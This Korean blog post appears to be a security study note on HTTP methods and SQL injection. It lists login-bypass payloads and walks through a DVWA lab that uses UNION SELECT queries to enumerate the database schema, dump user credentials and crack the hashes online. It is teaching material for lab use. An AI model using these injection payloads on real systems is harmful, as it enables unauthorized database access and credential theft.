[ HTTP Request Method ]
- GET과 POST를 제외한 나머지 Method는 사용할 필요가 없는 경우가 대다수이고, 보안 측면에서 위험하기 때문에 2개 Method만 사용
- 따라서 웹서버에 대한 보안 인증(ISO27001, ISMS-P)에서 GET과 POST만 허용하고 나머지는 결함으로 간주한다.
[ SQL 인젝션 공격 방법 ]
1. 로직이 참이 되도록 구성
- True and False = False
- True or False = True
2. 주석처리 :
- 뒤에 처리되지 않고 남는 부분을 주석처리해 무력화시킴
- Oracle, MS-SQL : --
- MySQL, MariaDB : #
3. 중첩문 사용
- 앞에 SELECT문 이용 UNION SELECT로 다른 정보도 탈취
- 앞에 로직을 ;으로 마무리 짓고 UPDATE 등 다른 구문 실행
[인젝션 구문]
- ' or 1=1 #
- ' or 2>1 #
- ' or 'a'='a' #
- ' or 'T'>'S' #
- ' or 'a'='a
대부분은 일일이 수동으로 찾기 어렵기 때문에 자동화 함
[실습]
Metasploiable2를 켜고, Metasploitable2의 ip로 접속
DVWA에 선택해 SQL Injection 실습 - security level - low
1) DB 전체 출력
2) 로그인 계정 ID / PW 알아내기
- 앞의 select에서 요청한 개수 알아내기
- DB 이름 알아내기 - dvwa
' union select database(),null #
- Table 이름 알아내기
' union select table_name,null from information_schema.tables where table_schema='dvwa' #
- Column 이름 알아내기
' union select column_name,null from information_schema.columns where table_name='users' #
- 각 사용자의 로그인 계정과 패스워드 알아내기
' union select user,password from users #
- https://crackstation.net/ 에 해쉬 값을 넣어 비밀번호 알아내기
** 본 실습은 모두 가상 환경 / 테스트 환경에서 이루어졌으며, 실제 서버에서 실행하시면 안됩니다. 본 블로그는 실습에 대한 어떠한 책임도 지지 않습니다 **
'애플리케이션 보안' 카테고리의 다른 글
Brute Force (0) | 2022.05.17 |
---|---|
Dictionary (0) | 2022.05.17 |
CSRF (0) | 2022.05.17 |
Backdoor / Trojan (0) | 2022.05.11 |
난독화 (0) | 2022.05.10 |